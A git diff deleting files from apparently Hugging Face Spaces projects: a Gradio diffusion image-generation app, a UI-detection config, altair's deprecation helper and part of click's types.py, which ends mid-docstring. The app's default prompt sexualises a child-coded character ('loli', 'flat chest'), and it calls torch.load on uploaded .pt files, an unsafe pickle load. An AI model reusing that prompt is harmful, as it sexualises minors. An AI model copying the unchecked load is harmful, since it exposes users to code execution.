- } - - if img_input is not None: - ratio = min(height / img_input.height, width / img_input.width) - img_input = img_input.resize( - (int(img_input.width * ratio), int(img_input.height * ratio)), Image.LANCZOS - ) - result = pipe.img2img(prompt, image=img_input, strength=i2i_scale, **config) - elif hr_enabled: - result = pipe.txt2img( - prompt, - width=width, - height=height, - upscale=True, - upscale_x=hr_scale, - upscale_denoising_strength=hr_denoise, - **config, - **latent_upscale_modes[hr_method], - ) - else: - result = pipe.txt2img(prompt, width=width, height=height, **config) - - end_time = time.time() - vram_free, vram_total = torch.cuda.mem_get_info() - print(f"done: model={model}, res={width}x{height}, step={steps}, time={round(end_time-start_time, 2)}s, vram_alloc={convert_size(vram_total-vram_free)}/{convert_size(vram_total)}") - return gr.Image.update(result[0][0], label=f"Initial Seed: {seed}") - - -color_list = [] - - -def get_color(n): - for _ in range(n - len(color_list)): - color_list.append(tuple(np.random.random(size=3) * 256)) - return color_list - - -def create_mixed_img(current, state, w=512, h=512): - w, h = int(w), int(h) - image_np = np.full([h, w, 4], 255) - if state is None: - state = {} - - colors = get_color(len(state)) - idx = 0 - - for key, item in state.items(): - if item["map"] is not None: - m = item["map"] < 255 - alpha = 150 - if current == key: - alpha = 200 - image_np[m] = colors[idx] + (alpha,) - idx += 1 - - return image_np - - -# width.change(apply_new_res, inputs=[width, height, global_stats], outputs=[global_stats, sp, rendered]) -def apply_new_res(w, h, state): - w, h = int(w), int(h) - - for key, item in state.items(): - if item["map"] is not None: - item["map"] = resize(item["map"], w, h) - - update_img = gr.Image.update(value=create_mixed_img("", state, w, h)) - return state, update_img - - -def detect_text(text, state, width, height): - - if text is None or text == "": - return None, None, gr.Radio.update(value=None), None - - t = text.split(",") - new_state = {} - - for item in t: - item = item.strip() - if item == "": - continue - if state is not None and item in state: - new_state[item] = { - "map": state[item]["map"], - "weight": state[item]["weight"], - "mask_outsides": state[item]["mask_outsides"], - } - else: - new_state[item] = { - "map": None, - "weight": 0.5, - "mask_outsides": False - } - update = gr.Radio.update(choices=[key for key in new_state.keys()], value=None) - update_img = gr.update(value=create_mixed_img("", new_state, width, height)) - update_sketch = gr.update(value=None, interactive=False) - return new_state, update_sketch, update, update_img - - -def resize(img, w, h): - trs = transforms.Compose( - [ - transforms.ToPILImage(), - transforms.Resize(min(h, w)), - transforms.CenterCrop((h, w)), - ] - ) - result = np.array(trs(img), dtype=np.uint8) - return result - - -def switch_canvas(entry, state, width, height): - if entry == None: - return None, 0.5, False, create_mixed_img("", state, width, height) - - return ( - gr.update(value=None, interactive=True), - gr.update(value=state[entry]["weight"] if entry in state else 0.5), - gr.update(value=state[entry]["mask_outsides"] if entry in state else False), - create_mixed_img(entry, state, width, height), - ) - - -def apply_canvas(selected, draw, state, w, h): - if selected in state: - w, h = int(w), int(h) - state[selected]["map"] = resize(draw, w, h) - return state, gr.Image.update(value=create_mixed_img(selected, state, w, h)) - - -def apply_weight(selected, weight, state): - if selected in state: - state[selected]["weight"] = weight - return state - - -def apply_option(selected, mask, state): - if selected in state: - state[selected]["mask_outsides"] = mask - return state - - -# sp2, radio, width, height, global_stats -def apply_image(image, selected, w, h, strgength, mask, state): - if selected in state: - state[selected] = { - "map": resize(image, w, h), - "weight": strgength, - "mask_outsides": mask - } - - return state, gr.Image.update(value=create_mixed_img(selected, state, w, h)) - - -# [ti_state, lora_state, ti_vals, lora_vals, uploads] -def add_net(files, ti_state, lora_state): - if files is None: - return ti_state, "", lora_state, None - - for file in files: - item = Path(file.name) - stripedname = str(item.stem).strip() - if item.suffix == ".pt": - state_dict = torch.load(file.name, map_location="cpu") - else: - state_dict = load_file(file.name, device="cpu") - if any("lora" in k for k in state_dict.keys()): - lora_state = file.name - else: - ti_state[stripedname] = file.name - - return ( - ti_state, - lora_state, - gr.Text.update(f"{[key for key in ti_state.keys()]}"), - gr.Text.update(f"{lora_state}"), - gr.Files.update(value=None), - ) - - -# [ti_state, lora_state, ti_vals, lora_vals, uploads] -def clean_states(ti_state, lora_state): - return ( - dict(), - None, - gr.Text.update(f""), - gr.Text.update(f""), - gr.File.update(value=None), - ) - - -latent_upscale_modes = { - "Latent": {"upscale_method": "bilinear", "upscale_antialias": False}, - "Latent (antialiased)": {"upscale_method": "bilinear", "upscale_antialias": True}, - "Latent (bicubic)": {"upscale_method": "bicubic", "upscale_antialias": False}, - "Latent (bicubic antialiased)": { - "upscale_method": "bicubic", - "upscale_antialias": True, - }, - "Latent (nearest)": {"upscale_method": "nearest", "upscale_antialias": False}, - "Latent (nearest-exact)": { - "upscale_method": "nearest-exact", - "upscale_antialias": False, - }, -} - -css = """ -.finetuned-diffusion-div div{ - display:inline-flex; - align-items:center; - gap:.8rem; - font-size:1.75rem; - padding-top:2rem; -} -.finetuned-diffusion-div div h1{ - font-weight:900; - margin-bottom:7px -} -.finetuned-diffusion-div p{ - margin-bottom:10px; - font-size:94% -} -.box { - float: left; - height: 20px; - width: 20px; - margin-bottom: 15px; - border: 1px solid black; - clear: both; -} -a{ - text-decoration:underline -} -.tabs{ - margin-top:0; - margin-bottom:0 -} -#gallery{ - min-height:20rem -} -.no-border { - border: none !important; -} - """ -with gr.Blocks(css=css) as demo: - gr.HTML( - f""" -
      -
      -

      Demo for diffusion models

      -
      -

      Hso @ nyanko.sketch2img.gradio

      -
      - """ - ) - global_stats = gr.State(value={}) - - with gr.Row(): - - with gr.Column(scale=55): - model = gr.Dropdown( - choices=[k[0] for k in get_model_list()], - label="Model", - value=base_name, - ) - image_out = gr.Image(height=512) - # gallery = gr.Gallery( - # label="Generated images", show_label=False, elem_id="gallery" - # ).style(grid=[1], height="auto") - - with gr.Column(scale=45): - - with gr.Group(): - - with gr.Row(): - with gr.Column(scale=70): - - prompt = gr.Textbox( - label="Prompt", - value="loli cat girl, blue eyes, flat chest, solo, long messy silver hair, blue capelet, cat ears, cat tail, upper body", - show_label=True, - max_lines=4, - placeholder="Enter prompt.", - ) - neg_prompt = gr.Textbox( - label="Negative Prompt", - value="bad quality, low quality, jpeg artifact, cropped", - show_label=True, - max_lines=4, - placeholder="Enter negative prompt.", - ) - - generate = gr.Button(value="Generate").style( - rounded=(False, True, True, False) - ) - - with gr.Tab("Options"): - - with gr.Group(): - - # n_images = gr.Slider(label="Images", value=1, minimum=1, maximum=4, step=1) - with gr.Row(): - guidance = gr.Slider( - label="Guidance scale", value=7.5, maximum=15 - ) - steps = gr.Slider( - label="Steps", value=25, minimum=2, maximum=50, step=1 - ) - - with gr.Row(): - width = gr.Slider( - label="Width", value=512, minimum=64, maximum=1024, step=64 - ) - height = gr.Slider( - label="Height", value=512, minimum=64, maximum=1024, step=64 - ) - - sampler = gr.Dropdown( - value="DPM++ 2M Karras", - label="Sampler", - choices=[s[0] for s in samplers_k_diffusion], - ) - seed = gr.Number(label="Seed (0 = random)", value=0) - - with gr.Tab("Image to image"): - with gr.Group(): - - inf_image = gr.Image( - label="Image", height=256, tool="editor", type="pil" - ) - inf_strength = gr.Slider( - label="Transformation strength", - minimum=0, - maximum=1, - step=0.01, - value=0.5, - ) - - def res_cap(g, w, h, x): - if g: - return f"Enable upscaler: {w}x{h} to {int(w*x)}x{int(h*x)}" - else: - return "Enable upscaler" - - with gr.Tab("Hires fix"): - with gr.Group(): - - hr_enabled = gr.Checkbox(label="Enable upscaler", value=False) - hr_method = gr.Dropdown( - [key for key in latent_upscale_modes.keys()], - value="Latent", - label="Upscale method", - ) - hr_scale = gr.Slider( - label="Upscale factor", - minimum=1.0, - maximum=2.0, - step=0.1, - value=1.5, - ) - hr_denoise = gr.Slider( - label="Denoising strength", - minimum=0.0, - maximum=1.0, - step=0.1, - value=0.8, - ) - - hr_scale.change( - lambda g, x, w, h: gr.Checkbox.update( - label=res_cap(g, w, h, x) - ), - inputs=[hr_enabled, hr_scale, width, height], - outputs=hr_enabled, - queue=False, - ) - hr_enabled.change( - lambda g, x, w, h: gr.Checkbox.update( - label=res_cap(g, w, h, x) - ), - inputs=[hr_enabled, hr_scale, width, height], - outputs=hr_enabled, - queue=False, - ) - - with gr.Tab("Embeddings/Loras"): - - ti_state = gr.State(dict()) - lora_state = gr.State() - - with gr.Group(): - with gr.Row(): - with gr.Column(scale=90): - ti_vals = gr.Text(label="Loaded embeddings") - - with gr.Row(): - with gr.Column(scale=90): - lora_vals = gr.Text(label="Loaded loras") - - with gr.Row(): - - uploads = gr.Files(label="Upload new embeddings/lora") - - with gr.Column(): - lora_scale = gr.Slider( - label="Lora scale", - minimum=0, - maximum=2, - step=0.01, - value=1.0, - ) - btn = gr.Button(value="Upload") - btn_del = gr.Button(value="Reset") - - btn.click( - add_net, - inputs=[uploads, ti_state, lora_state], - outputs=[ti_state, lora_state, ti_vals, lora_vals, uploads], - queue=False, - ) - btn_del.click( - clean_states, - inputs=[ti_state, lora_state], - outputs=[ti_state, lora_state, ti_vals, lora_vals, uploads], - queue=False, - ) - - # error_output = gr.Markdown() - - gr.HTML( - f""" -
      -
      -

      Paint with words

      -
      -

      - Will use the following formula: w = scale * token_weight_martix * log(1 + sigma) * max(qk). -

      -
      - """ - ) - - with gr.Row(): - - with gr.Column(scale=55): - - rendered = gr.Image( - invert_colors=True, - source="canvas", - interactive=False, - image_mode="RGBA", - ) - - with gr.Column(scale=45): - - with gr.Group(): - with gr.Row(): - with gr.Column(scale=70): - g_strength = gr.Slider( - label="Weight scaling", - minimum=0, - maximum=0.8, - step=0.01, - value=0.4, - ) - - text = gr.Textbox( - lines=2, - interactive=True, - label="Token to Draw: (Separate by comma)", - ) - - radio = gr.Radio([], label="Tokens") - - sk_update = gr.Button(value="Update").style( - rounded=(False, True, True, False) - ) - - # g_strength.change(lambda b: gr.update(f"Scaled additional attn: $w = {b} \log (1 + \sigma) \std (Q^T K)$."), inputs=g_strength, outputs=[g_output]) - - with gr.Tab("SketchPad"): - - sp = gr.Image( - image_mode="L", - tool="sketch", - source="canvas", - interactive=False, - ) - - mask_outsides = gr.Checkbox( - label="Mask other areas", - value=False - ) - - strength = gr.Slider( - label="Token strength", - minimum=0, - maximum=0.8, - step=0.01, - value=0.5, - ) - - - sk_update.click( - detect_text, - inputs=[text, global_stats, width, height], - outputs=[global_stats, sp, radio, rendered], - queue=False, - ) - radio.change( - switch_canvas, - inputs=[radio, global_stats, width, height], - outputs=[sp, strength, mask_outsides, rendered], - queue=False, - ) - sp.edit( - apply_canvas, - inputs=[radio, sp, global_stats, width, height], - outputs=[global_stats, rendered], - queue=False, - ) - strength.change( - apply_weight, - inputs=[radio, strength, global_stats], - outputs=[global_stats], - queue=False, - ) - mask_outsides.change( - apply_option, - inputs=[radio, mask_outsides, global_stats], - outputs=[global_stats], - queue=False, - ) - - with gr.Tab("UploadFile"): - - sp2 = gr.Image( - image_mode="L", - source="upload", - shape=(512, 512), - ) - - mask_outsides2 = gr.Checkbox( - label="Mask other areas", - value=False, - ) - - strength2 = gr.Slider( - label="Token strength", - minimum=0, - maximum=0.8, - step=0.01, - value=0.5, - ) - - apply_style = gr.Button(value="Apply") - apply_style.click( - apply_image, - inputs=[sp2, radio, width, height, strength2, mask_outsides2, global_stats], - outputs=[global_stats, rendered], - queue=False, - ) - - width.change( - apply_new_res, - inputs=[width, height, global_stats], - outputs=[global_stats, rendered], - queue=False, - ) - height.change( - apply_new_res, - inputs=[width, height, global_stats], - outputs=[global_stats, rendered], - queue=False, - ) - - # color_stats = gr.State(value={}) - # text.change(detect_color, inputs=[sp, text, color_stats], outputs=[color_stats, rendered]) - # sp.change(detect_color, inputs=[sp, text, color_stats], outputs=[color_stats, rendered]) - - inputs = [ - prompt, - guidance, - steps, - width, - height, - seed, - neg_prompt, - global_stats, - g_strength, - inf_image, - inf_strength, - hr_enabled, - hr_method, - hr_scale, - hr_denoise, - sampler, - ti_state, - model, - lora_state, - lora_scale, - ] - outputs = [image_out] - prompt.submit(inference, inputs=inputs, outputs=outputs) - generate.click(inference, inputs=inputs, outputs=outputs) - -print(f"Space built in {time.time() - start_time:.2f} seconds") -# demo.launch(share=True) -demo.launch(enable_queue=True, server_name="0.0.0.0", server_port=7860) diff --git a/spaces/Cpp4App/Cpp4App/CDM/config/CONFIG_UIED.py b/spaces/Cpp4App/Cpp4App/CDM/config/CONFIG_UIED.py deleted file mode 100644 index e4c85e6e71e004c3cbfbb6a1de1b5cd4b4845595..0000000000000000000000000000000000000000 --- a/spaces/Cpp4App/Cpp4App/CDM/config/CONFIG_UIED.py +++ /dev/null @@ -1,49 +0,0 @@ -class Config: - - def __init__(self): - # Adjustable - # self.THRESHOLD_PRE_GRADIENT = 4 # dribbble:4 rico:4 web:1 - # self.THRESHOLD_OBJ_MIN_AREA = 55 # bottom line 55 of small circle - # self.THRESHOLD_BLOCK_GRADIENT = 5 - - # *** Frozen *** - self.THRESHOLD_REC_MIN_EVENNESS = 0.7 - self.THRESHOLD_REC_MAX_DENT_RATIO = 0.25 - self.THRESHOLD_LINE_THICKNESS = 8 - self.THRESHOLD_LINE_MIN_LENGTH = 0.95 - self.THRESHOLD_COMPO_MAX_SCALE = (0.25, 0.98) # (120/800, 422.5/450) maximum height and width ratio for a atomic compo (button) - self.THRESHOLD_TEXT_MAX_WORD_GAP = 10 - self.THRESHOLD_TEXT_MAX_HEIGHT = 0.04 # 40/800 maximum height of text - self.THRESHOLD_TOP_BOTTOM_BAR = (0.045, 0.94) # (36/800, 752/800) height ratio of top and bottom bar - self.THRESHOLD_BLOCK_MIN_HEIGHT = 0.03 # 24/800 - - # deprecated - # self.THRESHOLD_OBJ_MIN_PERIMETER = 0 - # self.THRESHOLD_BLOCK_MAX_BORDER_THICKNESS = 8 - # self.THRESHOLD_BLOCK_MAX_CROSS_POINT = 0.1 - # self.THRESHOLD_UICOMPO_MIN_W_H_RATIO = 0.4 - # self.THRESHOLD_TEXT_MAX_WIDTH = 150 - # self.THRESHOLD_LINE_MIN_LENGTH_H = 50 - # self.THRESHOLD_LINE_MIN_LENGTH_V = 50 - # self.OCR_PADDING = 5 - # self.OCR_MIN_WORD_AREA = 0.45 - # self.THRESHOLD_MIN_IOU = 0.1 # dribbble:0.003 rico:0.1 web:0.1 - # self.THRESHOLD_BLOCK_MIN_EDGE_LENGTH = 210 # dribbble:68 rico:210 web:70 - # self.THRESHOLD_UICOMPO_MAX_W_H_RATIO = 10 # dribbble:10 rico:10 web:22 - - self.CLASS_MAP = {'0':'Button', '1':'CheckBox', '2':'Chronometer', '3':'EditText', '4':'ImageButton', '5':'ImageView', - '6':'ProgressBar', '7':'RadioButton', '8':'RatingBar', '9':'SeekBar', '10':'Spinner', '11':'Switch', - '12':'ToggleButton', '13':'VideoView', '14':'TextView'} - self.COLOR = {'Button': (0, 255, 0), 'CheckBox': (0, 0, 255), 'Chronometer': (255, 166, 166), - 'EditText': (255, 166, 0), - 'ImageButton': (77, 77, 255), 'ImageView': (255, 0, 166), 'ProgressBar': (166, 0, 255), - 'RadioButton': (166, 166, 166), - 'RatingBar': (0, 166, 255), 'SeekBar': (0, 166, 10), 'Spinner': (50, 21, 255), - 'Switch': (80, 166, 66), 'ToggleButton': (0, 66, 80), 'VideoView': (88, 66, 0), - 'TextView': (169, 255, 0), - - 'Text':(169, 255, 0), 'Non-Text':(255, 0, 166), - - 'Noise':(6,6,255), 'Non-Noise': (6,255,6), - - 'Image':(255,6,6), 'Non-Image':(6,6,255)} diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/altair/utils/deprecation.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/altair/utils/deprecation.py deleted file mode 100644 index f0ed26ae98f9a71512f85ca589fd4e160033f97b..0000000000000000000000000000000000000000 --- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/altair/utils/deprecation.py +++ /dev/null @@ -1,71 +0,0 @@ -import warnings -import functools - - -class AltairDeprecationWarning(UserWarning): - pass - - -def deprecated(message=None): - """Decorator to deprecate a function or class. - - Parameters - ---------- - message : string (optional) - The deprecation message - """ - - def wrapper(obj): - return _deprecate(obj, message=message) - - return wrapper - - -def _deprecate(obj, name=None, message=None): - """Return a version of a class or function that raises a deprecation warning. - - Parameters - ---------- - obj : class or function - The object to create a deprecated version of. - name : string (optional) - The name of the deprecated object - message : string (optional) - The deprecation message - - Returns - ------- - deprecated_obj : - The deprecated version of obj - - Examples - -------- - >>> class Foo: pass - >>> OldFoo = _deprecate(Foo, "OldFoo") - >>> f = OldFoo() # doctest: +SKIP - AltairDeprecationWarning: alt.OldFoo is deprecated. Use alt.Foo instead. - """ - if message is None: - message = "alt.{} is deprecated. Use alt.{} instead." "".format( - name, obj.__name__ - ) - if isinstance(obj, type): - return type( - name, - (obj,), - { - "__doc__": obj.__doc__, - "__init__": _deprecate(obj.__init__, "__init__", message), - }, - ) - elif callable(obj): - - @functools.wraps(obj) - def new_obj(*args, **kwargs): - warnings.warn(message, AltairDeprecationWarning, stacklevel=1) - return obj(*args, **kwargs) - - new_obj._deprecated = True - return new_obj - else: - raise ValueError("Cannot deprecate object of type {}".format(type(obj))) diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/click/types.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/click/types.py deleted file mode 100644 index 2b1d1797f2e115e9bc976bcaf7d8e1884a91e91c..0000000000000000000000000000000000000000 --- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/click/types.py +++ /dev/null @@ -1,1089 +0,0 @@ -import os -import stat -import sys -import typing as t -from datetime import datetime -from gettext import gettext as _ -from gettext import ngettext - -from ._compat import _get_argv_encoding -from ._compat import open_stream -from .exceptions import BadParameter -from .utils import format_filename -from .utils import LazyFile -from .utils import safecall - -if t.TYPE_CHECKING: - import typing_extensions as te - from .core import Context - from .core import Parameter - from .shell_completion import CompletionItem - - -class ParamType: - """Represents the type of a parameter. Validates and converts values - from the command line or Python into the correct type. - - To implement a custom type, subclass and implement at least the - following: - - - The :attr:`name` class attribute must be set. - - Calling an instance of the type with ``None`` must return - ``None``. This is already implemented by default. - - :meth:`convert` must convert string values to the correct type. - - :meth:`convert` must accept values that are already the correct - type. - - It must be able to convert a value if the ``ctx`` and ``param`` - arguments are ``None``. This can occur when converting prompt - input. - """ - - is_composite: t.ClassVar[bool] = False - arity: t.ClassVar[int] = 1 - - #: the descriptive name of this type - name: str - - #: if a list of this type is expected and the value is pulled from a - #: string environment variable, this is what splits it up. `None` - #: means any whitespace. For all parameters the general rule is that - #: whitespace splits them up. The exception are paths and files which - #: are split by ``os.path.pathsep`` by default (":" on Unix and ";" on - #: Windows). - envvar_list_splitter: t.ClassVar[t.Optional[str]] = None - - def to_info_dict(self) -> t.Dict[str, t.Any]: - """Gather information that could be useful for a tool generating - user-facing documentation. - - Use :meth:`click.Context.to_info_dict` to traverse the entire - CLI structure. - - .. versionadded:: 8.0 - """ - # The class name without the "ParamType" suffix. - param_type = type(self).__name__.partition("ParamType")[0] - param_type = param_type.partition("ParameterType")[0] - - # Custom subclasses might not remember to set a name. - if hasattr(self, "name"): - name = self.name - else: - name = param_type - - return {"param_type": param_type, "name": name} - - def __call__( - self, - value: t.Any, - param: t.Optional["Parameter"] = None, - ctx: t.Optional["Context"] = None, - ) -> t.Any: - if value is not None: - return self.convert(value, param, ctx) - - def get_metavar(self, param: "Parameter") -> t.Optional[str]: - """Returns the metavar default for this param if it provides one.""" - - def get_missing_message(self, param: "Parameter") -> t.Optional[str]: - """Optionally might return extra information about a missing - parameter. - - .. versionadded:: 2.0 - """ - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - """Convert the value to the correct type. This is not called if - the value is ``None`` (the missing value). - - This must accept string values from the command line, as well as - values that are already the correct type. It may also convert - other compatible types. - - The ``param`` and ``ctx`` arguments may be ``None`` in certain - situations, such as when converting prompt input. - - If the value cannot be converted, call :meth:`fail` with a - descriptive message. - - :param value: The value to convert. - :param param: The parameter that is using this type to convert - its value. May be ``None``. - :param ctx: The current context that arrived at this value. May - be ``None``. - """ - return value - - def split_envvar_value(self, rv: str) -> t.Sequence[str]: - """Given a value from an environment variable this splits it up - into small chunks depending on the defined envvar list splitter. - - If the splitter is set to `None`, which means that whitespace splits, - then leading and trailing whitespace is ignored. Otherwise, leading - and trailing splitters usually lead to empty items being included. - """ - return (rv or "").split(self.envvar_list_splitter) - - def fail( - self, - message: str, - param: t.Optional["Parameter"] = None, - ctx: t.Optional["Context"] = None, - ) -> "t.NoReturn": - """Helper method to fail with an invalid value message.""" - raise BadParameter(message, ctx=ctx, param=param) - - def shell_complete( - self, ctx: "Context", param: "Parameter", incomplete: str - ) -> t.List["CompletionItem"]: - """Return a list of - :class:`~click.shell_completion.CompletionItem` objects for the - incomplete value. Most types do not provide completions, but - some do, and this allows custom types to provide custom - completions as well. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - return [] - - -class CompositeParamType(ParamType): - is_composite = True - - @property - def arity(self) -> int: # type: ignore - raise NotImplementedError() - - -class FuncParamType(ParamType): - def __init__(self, func: t.Callable[[t.Any], t.Any]) -> None: - self.name: str = func.__name__ - self.func = func - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["func"] = self.func - return info_dict - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - try: - return self.func(value) - except ValueError: - try: - value = str(value) - except UnicodeError: - value = value.decode("utf-8", "replace") - - self.fail(value, param, ctx) - - -class UnprocessedParamType(ParamType): - name = "text" - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - return value - - def __repr__(self) -> str: - return "UNPROCESSED" - - -class StringParamType(ParamType): - name = "text" - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - if isinstance(value, bytes): - enc = _get_argv_encoding() - try: - value = value.decode(enc) - except UnicodeError: - fs_enc = sys.getfilesystemencoding() - if fs_enc != enc: - try: - value = value.decode(fs_enc) - except UnicodeError: - value = value.decode("utf-8", "replace") - else: - value = value.decode("utf-8", "replace") - return value - return str(value) - - def __repr__(self) -> str: - return "STRING" - - -class Choice(ParamType): - """The choice type allows a value to be checked against a fixed set - of supported values. All of these values have to be strings. - - You should only pass a list or tuple of choices. Other iterables - (like generators) may lead to surprising results. - - The resulting value will always be one of the originally passed choices - regardless of ``case_sensitive`` or any ``ctx.token_normalize_func`` - being specified. - - See :ref:`choice-opts` for an example. - - :param case_sensitive: Set to false to make choices case - insensitive. Defaults to true. - """ - - name = "choice" - - def __init__(self, choices: t.Sequence[str], case_sensitive: bool = True) -> None: - self.choices = choices - self.case_sensitive = case_sensitive - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["choices"] = self.choices - info_dict["case_sensitive"] = self.case_sensitive - return info_dict - - def get_metavar(self, param: "Parameter") -> str: - choices_str = "|".join(self.choices) - - # Use curly braces to indicate a required argument. - if param.required and param.param_type_name == "argument": - return f"{{{choices_str}}}" - - # Use square braces to indicate an option or optional argument. - return f"[{choices_str}]" - - def get_missing_message(self, param: "Parameter") -> str: - return _("Choose from:\n\t{choices}").format(choices=",\n\t".join(self.choices)) - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - # Match through normalization and case sensitivity - # first do token_normalize_func, then lowercase - # preserve original `value` to produce an accurate message in - # `self.fail` - normed_value = value - normed_choices = {choice: choice for choice in self.choices} - - if ctx is not None and ctx.token_normalize_func is not None: - normed_value = ctx.token_normalize_func(value) - normed_choices = { - ctx.token_normalize_func(normed_choice): original - for normed_choice, original in normed_choices.items() - } - - if not self.case_sensitive: - normed_value = normed_value.casefold() - normed_choices = { - normed_choice.casefold(): original - for normed_choice, original in normed_choices.items() - } - - if normed_value in normed_choices: - return normed_choices[normed_value] - - choices_str = ", ".join(map(repr, self.choices)) - self.fail( - ngettext( - "{value!r} is not {choice}.", - "{value!r} is not one of {choices}.", - len(self.choices), - ).format(value=value, choice=choices_str, choices=choices_str), - param, - ctx, - ) - - def __repr__(self) -> str: - return f"Choice({list(self.choices)})" - - def shell_complete( - self, ctx: "Context", param: "Parameter", incomplete: str - ) -> t.List["CompletionItem"]: - """Complete choices that start with the incomplete value. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - str_choices = map(str, self.choices) - - if self.case_sensitive: - matched = (c for c in str_choices if c.startswith(incomplete)) - else: - incomplete = incomplete.lower() - matched = (c for c in str_choices if c.lower().startswith(incomplete)) - - return [CompletionItem(c) for c in matched] - - -class DateTime(ParamType): - """The DateTime type converts date strings into `datetime` objects. - - The format strings which are checked are configurable, but default to some - common (non-timezone aware) ISO 8601 formats. - - When specifying *DateTime* formats, you should only pass a list or a tuple. - Other iterables, like generators, may lead to surprising results. - - The format strings are processed using ``datetime.strptime``, and this - consequently defines the format strings which are allowed. - - Parsing is tried using each format, in order, and the first format which - parses successfully is used. - - :param formats: A list or tuple of date format strings, in the order in - which they should be tried. Defaults to - ``'%Y-%m-%d'``, ``'%Y-%m-%dT%H:%M:%S'``, - ``'%Y-%m-%d %H:%M:%S'``. - """ - - name = "datetime" - - def __init__(self, formats: t.Optional[t.Sequence[str]] = None): - self.formats: t.Sequence[str] = formats or [ - "%Y-%m-%d", - "%Y-%m-%dT%H:%M:%S", - "%Y-%m-%d %H:%M:%S", - ] - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["formats"] = self.formats - return info_dict - - def get_metavar(self, param: "Parameter") -> str: - return f"[{'|'.join(self.formats)}]" - - def _try_to_convert_date(self, value: t.Any, format: str) -> t.Optional[datetime]: - try: - return datetime.strptime(value, format) - except ValueError: - return None - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - if isinstance(value, datetime): - return value - - for format in self.formats: - converted = self._try_to_convert_date(value, format) - - if converted is not None: - return converted - - formats_str = ", ".join(map(repr, self.formats)) - self.fail( - ngettext( - "{value!r} does not match the format {format}.", - "{value!r} does not match the formats {formats}.", - len(self.formats), - ).format(value=value, format=formats_str, formats=formats_str), - param, - ctx, - ) - - def __repr__(self) -> str: - return "DateTime" - - -class _NumberParamTypeBase(ParamType): - _number_class: t.ClassVar[t.Type[t.Any]] - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - try: - return self._number_class(value) - except ValueError: - self.fail( - _("{value!r} is not a valid {number_type}.").format( - value=value, number_type=self.name - ), - param, - ctx, - ) - - -class _NumberRangeBase(_NumberParamTypeBase): - def __init__( - self, - min: t.Optional[float] = None, - max: t.Optional[float] = None, - min_open: bool = False, - max_open: bool = False, - clamp: bool = False, - ) -> None: - self.min = min - self.max = max - self.min_open = min_open - self.max_open = max_open - self.clamp = clamp - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update( - min=self.min, - max=self.max, - min_open=self.min_open, - max_open=self.max_open, - clamp=self.clamp, - ) - return info_dict - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - import operator - - rv = super().convert(value, param, ctx) - lt_min: bool = self.min is not None and ( - operator.le if self.min_open else operator.lt - )(rv, self.min) - gt_max: bool = self.max is not None and ( - operator.ge if self.max_open else operator.gt - )(rv, self.max) - - if self.clamp: - if lt_min: - return self._clamp(self.min, 1, self.min_open) # type: ignore - - if gt_max: - return self._clamp(self.max, -1, self.max_open) # type: ignore - - if lt_min or gt_max: - self.fail( - _("{value} is not in the range {range}.").format( - value=rv, range=self._describe_range() - ), - param, - ctx, - ) - - return rv - - def _clamp(self, bound: float, dir: "te.Literal[1, -1]", open: bool) -> float: - """Find the valid value to clamp to bound in the given - direction. - - :param bound: The boundary value. - :param dir: 1 or -1 indicating the direction to move. - :param open: If true, the range does not include the bound. - """ - raise NotImplementedError - - def _describe_range(self) -> str: - """Describe the range for use in help text.""" - if self.min is None: - op = "<" if self.max_open else "<=" - return f"x{op}{self.max}" - - if self.max is None: - op = ">" if self.min_open else ">=" - return f"x{op}{self.min}" - - lop = "<" if self.min_open else "<=" - rop = "<" if self.max_open else "<=" - return f"{self.min}{lop}x{rop}{self.max}" - - def __repr__(self) -> str: - clamp = " clamped" if self.clamp else "" - return f"<{type(self).__name__} {self._describe_range()}{clamp}>" - - -class IntParamType(_NumberParamTypeBase): - name = "integer" - _number_class = int - - def __repr__(self) -> str: - return "INT" - - -class IntRange(_NumberRangeBase, IntParamType): - """Restrict an :data:`click.INT` value to a range of accepted - values. See :ref:`ranges`. - - If ``min`` or ``max`` are not passed, any value is accepted in that - direction. If ``min_open`` or ``max_open`` are enabled, the - corresponding boundary is not included in the range. - - If ``clamp`` is enabled, a value outside the range is clamped to the - boundary instead of failing. - - .. versionchanged:: 8.0 - Added the ``min_open`` and ``max_open`` parameters. - """ - - name = "integer range" - - def _clamp( # type: ignore - self, bound: int, dir: "te.Literal[1, -1]", open: bool - ) -> int: - if not open: - return bound - - return bound + dir - - -class FloatParamType(_NumberParamTypeBase): - name = "float" - _number_class = float - - def __repr__(self) -> str: - return "FLOAT" - - -class FloatRange(_NumberRangeBase, FloatParamType): - """Restrict a :data:`click.FLOAT` value to a range of accepted - values. See :ref:`ranges`. - - If ``min`` or ``max`` are not passed, any value is accepted in that - direction. If ``min_open`` or ``max_open`` are enabled, the - corresponding boundary is not included in the range. - - If ``clamp`` is enabled, a value outside the range is clamped to the - 